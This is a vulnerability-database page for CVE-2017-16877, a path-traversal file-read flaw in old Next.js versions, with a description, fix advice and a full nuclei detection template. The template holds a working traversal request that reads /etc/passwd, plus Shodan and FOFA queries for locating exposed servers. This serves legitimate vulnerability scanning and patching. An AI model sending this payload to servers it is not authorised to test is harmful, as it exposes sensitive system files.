Browse / CVEs / CVE-2017-16877
CVE-2017-16877· zeit / next.js· CWE-22
Nextjs <2.4.1 - Local File Inclusion
highseverity
7.5CVSS score
14.1%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
Impact
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
Fix
Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/_next/../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2017-16877 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2017-16877
info:
name: Nextjs <2.4.1 - Local File Inclusion
author: pikpikcu
severity: high
description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
impact: |
Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
remediation: |
Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
reference:
- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
- https://github.com/zeit/next.js/releases/tag/2.4.1
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
- https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2017-16877
cwe-id: CWE-22
epss-score: 0.14104
epss-percentile: 0.96596
cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zeit
product: next.js
shodan-query:
- http.html:"/_next/static"
- cpe:"cpe:2.3:a:zeit:next.js"
fofa-query: body="/_next/static"
tags: cve,cve2017,nextjs,lfi,traversal,zeit,vuln
http:
- method: GET
path:
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
condition: and
- type: status
status:
- 200References
- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
- https://github.com/zeit/next.js/releases/tag/2.4.1
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
- https://github.com/vercel/next.js/commit/02fe7cf63f6265d73bdaf8bc50a4f2fb539dcd00
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from